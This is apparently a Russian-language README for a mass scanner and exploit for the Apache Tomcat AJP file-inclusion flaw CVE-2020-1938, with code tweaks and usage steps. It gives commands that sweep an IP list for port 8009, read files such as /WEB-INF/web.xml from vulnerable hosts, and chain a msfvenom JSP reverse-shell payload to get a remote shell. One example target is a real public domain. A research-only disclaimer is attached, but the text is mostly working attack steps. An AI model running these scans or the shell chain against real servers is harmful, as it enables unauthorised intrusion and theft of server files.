
CVE-2020-1938 / CNVD-2020-1048 Инструменты обнаружения
Инструмент предназначен только для исследований безопасности и внутренних проверок. Запрещается использовать его для незаконных атак. Ответственность за последствия несет пользователь.
Инструмент массового обнаружения уязвимости включения файлов Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
Этот проект основан на проекте Kit4y с изменениями.
Когда в ip.txt находится только один домен или IP, threadCount становится равным 1, и программа фактически не выполняется. Добавлен код проверки количества потоков.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
Небольшие изменения кода для совместимости с Python3. Код до изменений:
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
Код после изменений:
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Поместите домены/IP для сканирования в ip.txt, например:
127.0.0.1
www.baidu.com
2. python threading-find-port-8009.py
Сканирует домены/IP из ip.txt для поиска открытых портов 8009, результат сохраняется в сгенерированном 8009.txt.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Отфильтровывает URL, соответствующие уязвимости, из 8009.txt и помещает их в vul.txt. Домены, присутствующие в vul.txt, являются уязвимыми.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
По умолчанию читается ROOT из webapps. Изменив «/asdf» на «/test/asdf», можно получить доступ к содержимому каталога test в webapps.
t.perform_request('/asdf',attributes=[
Если на сервере также есть уязвимость загрузки файлов, загрузите следующий shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Измените «/asdf» на «/asdf.jsp», запустите MSF и используйте PoC-инструмент для получения шелла.